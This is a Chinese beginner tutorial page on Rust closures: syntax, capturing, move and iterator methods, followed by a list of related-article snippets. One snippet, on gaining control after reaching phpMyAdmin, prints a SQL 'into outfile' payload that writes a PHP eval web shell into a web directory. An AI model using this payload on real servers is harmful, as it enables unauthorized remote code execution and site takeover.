Rust语言入门教程(十四) - 闭包Closure

什么是闭包

闭包在 Rust 中是非常强大的功能,允许你编写更灵活和表达性的代码。闭包的语法和功能在某些方面类似于其他语言(如 JavaScript 或 Python)中的匿名函数或 lambda 表达式。

在Rust中,当我们想要生成一个新的线程,或者是想在迭代中进行一些函数式编程对迭代变量进行处理时,通常就会用到闭包, 当然,在标准库中一些其他的常见的地方,也会涉及到闭包的使用。

闭包本质上是一个匿名函数,它可以从其所在的作用域中借用或捕获到一些变量或数据。

语法规范

|x, y| { x+y }

上面的代码展示了一个闭包的基本语法格式:

  • 在两个|之间是闭包的参数列表,参数之间用,分隔;
  • 参数不需要标注数据类型;
  • 竖线后面是一个匿名函数的代码块,可以用于代码调用;

其中,参数的类型和和匿名函数的返回值都是由编译器通过代码的上下文自动推断得出。让我们来看一个实际的例子:

let add = |x, y| { x + y };
add(1, 2); // return 3

上面的代码中,我们将闭包分配给了一个变量add, 然后通过传入参数1, 2调用这个闭包,这两个变量将被传入匿名函数执行,并返回3

捕获变量

闭包的参数列表可以为空,因此上面的例子可以是这样:

|| { x + y }

当然,匿名函数也可以为空,比如这样:

|| {}

但是显然这样做没什么意义,也没人会干这么无聊的事情。那么为什么参数列表可以为空呢,那匿名函数中的变量从何而来呢? 这就到了有意思的地方了, 闭包可以借用它被定义的作用域中的值的引用。

let s = "abc".to_string();
let f = || {println!("{}", s);
};f() // 输出 “abc”

在上面的代码中,我们创建了一个字符串变量s, 然后创建了一个闭包并分配给变量f, 其中的匿名函数借用了该作用域中变量s的引用(因为println!是使用的参数的引用), 从而匿名函数本身不需要参数列表。这样一来,我们每次通过变量f调用这个匿名函数时,都可以打印出abc

所有权移动 - move

但是这存在一个问题,匿名函数中只是借用了变量s的引用,如果变量s一旦超出作用域而被销毁, f中的引用就成为了一个悬空指针,这是Rust编译器所不允许的。

为了解决这个问题, 闭包也支持使用move关键字,来强制的将闭包中使用的任何变量移动到自身的作用域中并获取他们的所有权,而不再只是借用。

let s = "abc".to_string();
let f = move || {println!("{}", s);
};f();

这样一来s的所有权便被闭包拥有,它将一直存在,直至闭包本身超出作用域被销毁为止。我们可以把这个闭包传递给另一个线程,或者作为函数的返回值返回,等等。

在迭代器中使用闭包

如果想在迭代器中进行一些函数式的编程,对迭代变量进行处理,闭包也是真香。

let mut v = vec![2, 4, 6];
v.iter().map(|x| x * 3).filter(|x| *x > 10).fold(0, |acc, x| acc + x)

上面的代码中,对一个向量调用iter()函数,获得了一个迭代器,将对这个向量中的每个值进行迭代。然后就可以多种多样的使用到闭包的方法了。

  • map(): 对向量中每个项都乘以3;
  • filter(): 丢弃向量中不大于10的项;
  • fold(): 将筛选后的向量中的所有的值相加求和;

小结

本章介绍了Rust中闭包的概念和使用场景,已经如何将变量的所有权转移到闭包中。下一章我们将讨论Rust的多线程。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/183680.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

[ISCTF2023] Crypto/PWN/Reverse

最近新生赛还挺多,不过这个开始后注册页面就被删了,没注册上。拿别人的附件作了下。 Crypto 七七的欧拉 这题只给了n,e,c这种情况一般正常没法解,猜n不正常 import gmpy2 import libnum from crypto.Util.number import *flagbISCTF{****…

【C/C++笔试练习】this指针的概念、初始化列表、const对象调用、构造和析构函数、继承和组合、重载和多态、虚函数的定义、计算日期到天数转换、幸运的袋子

文章目录 C/C笔试练习选择部分(1)this指针的概念(2)初始化列表(3)const对象调用(4)构造和析构函数(5)继承和组合(6)重载和多态&#x…

7Docker搭建es和kibana

一、安装es 1.拉取镜像 sudo docker pull elasticsearch:7.12.0 elasticsearch:7.12.0:我安装的版本是7.12.0,可以根据实际的情况安装 创建docker容器挂在的目录: sudo mkdir -p /opt/elasticsearch/config sudo mkdir -p /opt/elasticsearch/data s…

TA-Lib学习研究笔记(一)

TA-Lib学习研究笔记(一) 1.介绍 TA-Lib,英文全称“Technical Analysis Library”,是一个用于金融量化的第三方库,涵盖了150多种交易软件中常用的技术分析指标,如RSI,KDJ,MACD, MACDEXT, MACDFIX, SAR, SAREXT, MA,SM…

nacos配置变更导致logback日志异常

问题背景: 线上的服务突然内存爆满,查服务器突然发现,日志全部打印到了/tmp/tomcat.xxx.port目录下,后来对应操作时间,和nacos修改配置是同一时间发生的,但是疑惑的点是,nacos配置变更为什么会引起logback的…

OpenMMlab导出FCN模型并用onnxruntime推理

导出onnx文件 直接使用脚本 import torch from mmseg.apis init_modelconfig_file configs/fcn/fcn_r18-d8_4xb2-80k_cityscapes-512x1024.py checkpoint_file fcn_r18-d8_512x1024_80k_cityscapes_20201225_021327-6c50f8b4.pth model init_model(config_file, checkpoin…

基于Java SSM框架实现高校二手交易平台系统项目【项目源码+论文说明】

基于java的SSM框架实现高校二手交易平台系统演示 摘要 本论文主要论述了如何使用JAVA语言开发一个高校二手交易平台,本系统将严格按照软件开发流程进行各个阶段的工作,采用B/S架构,面向对象编程思想进行项目开发。在引言中,作者将…

数据清洗和特征工程的关系是什么?有什么区别?

1.数据清洗独立于特征工程 数据清洗是独立于特征工程的:一方面,数据清洗不仅适用于机器学习项目,也适用于一般的数据统计分析过程,而特征工程仅适用于机器学习项目;另一方面,针对机器学习项目,…

001 - 安装Qt并配置环境

进入Qt中文网站的下载界面 👉点此进入 点进去之后,你会看到如下界面: 这里下载的是Qt开源版的在线安装器, 如果你觉得下载速度很慢,可以挂个梯子。双击打开: 因为是在线安装,所以你需要输入电子…

【Web安全】拿到phpMyAdmin如何获取权限

文章目录 1、outfile写一句话2、general_log_file写一句话 通过弱口令拿到进到phpMyAdmin页面如何才能获取权限 1、outfile写一句话 尝试执行outfile语句写入一句话木马 select "<?php eval($_REQUEST[6868])?>" into outfile "C:\\phpStudy\\WWW\\p…

数据结构day4作业

1.单链表任意位置删除 datetype pos;printf("please input pos");scanf("%d",&pos);headdelete_all(head,pos);Output(head);Linklist delete_all(Linklist head,datetype pos) {if(pos<1||pos>length(head)||headNULL)return head;if(head->…

Web安全漏洞分析-XSS(上)

随着互联网的迅猛发展&#xff0c;Web应用的普及程度也愈发广泛。然而&#xff0c;随之而来的是各种安全威胁的不断涌现&#xff0c;其中最为常见而危险的之一就是跨站脚本攻击&#xff08;Cross-Site Scripting&#xff0c;简称XSS&#xff09;。XSS攻击一直以来都是Web安全领…

万界星空科技/仓库管理WMS系统/免费仓库管理系统

仓库管理&#xff08;仓储管理&#xff09;&#xff0c;指对仓库及仓库内部的物资进行收发、结存等有效控制和管理&#xff0c;确保仓储货物的完好无损&#xff0c;保证生产经营活动的正常进行&#xff0c;在此基础上对货物进行分类记录&#xff0c;通过报表分析展示仓库状态、…

使用Python爬取快手视频与评论(App与Web端分析)

文章目录 1. APP端抓包配置2. APP端抓包分析3. Web端抓包分析4. 爬虫代码实现 【作者主页】&#xff1a;吴秋霖 【作者介绍】&#xff1a;Python领域优质创作者、阿里云博客专家、华为云享专家。长期致力于Python与爬虫领域研究与开发工作&#xff01; 【作者推荐】&#xff1a…

酷开科技:让体育迷的热情释放,让运动精神传递

在繁忙的生活节奏中&#xff0c;我们总是被各种琐事所困扰&#xff0c;很难抽出时间去享受运动带来的快乐&#xff0c;甚至很少有时间去观看一场体育赛事。而一场好的体育赛事带给体育爱好者的快乐往往来自于两方面&#xff0c;一是线下参与&#xff0c;感受现场带来的震撼&…

JSON.stringify与JSON.parse详解与实践

目录 JSON.stringify 简介 主要用途&#xff1a; API 实践1&#xff1a; 实践2&#xff1a; JSON.parse 简介 API 实践1 实践2 JSON.stringify 简介 用于把JavaScript对象、数组、值、布尔值等序列化成字符串形式。 主要用途&#xff1a; 得到的数据通常有以下主…

基于Java SSM框架+Vue实现病人跟踪治疗信息系统项目【项目源码+论文说明】

基于java的SSM框架Vue实现病人跟踪治疗信息系统演示 摘要 病人跟踪治疗信息管理系统采用B/S模式&#xff0c;促进了病人跟踪治疗信息管理系统的安全、快捷、高效的发展。传统的管理模式还处于手工处理阶段&#xff0c;管理效率极低&#xff0c;随着病人的不断增多&#xff0c;…

Java---抽象类讲解

文章目录 1. 抽象类概述2. 抽象类特点3. 抽象类的成员特点4. 抽象类猫狗应用 1. 抽象类概述 在Java中&#xff0c;一个没有方法体的方法应该定义为抽象方法&#xff1b;而类中如果有抽象方法&#xff0c;该类必须定义为抽象类。 2. 抽象类特点 1. 抽象类和抽象方法必须使用abst…

Python将Labelme的Json标注文件进行增、删、改、查

Python将Labelme的Json标注文件进行增、删、改、查 前言前提条件相关介绍实验环境Json标注文件的增、删、改、查增代码实现输出结果 删代码实现输出结果 改代码实现输出结果 查代码实现输出结果 前言 由于本人水平有限&#xff0c;难免出现错漏&#xff0c;敬请批评改正。更多精…

【JavaEE初阶】——JVM介绍(面试高频)

文章目录 前言一、进程和线程二、JVM进程三、JVM介绍 3.1 JVM内存区域划分 3.2 JVM类加载 3.3 JVM垃圾回收&#xff08;CG&#xff09;四、JVM常见选择题总结 前言 一、进程和线程 在谈JVM的这些问题前&#xff0c;我们先来复习一下有关线程和进程的关系 进程&…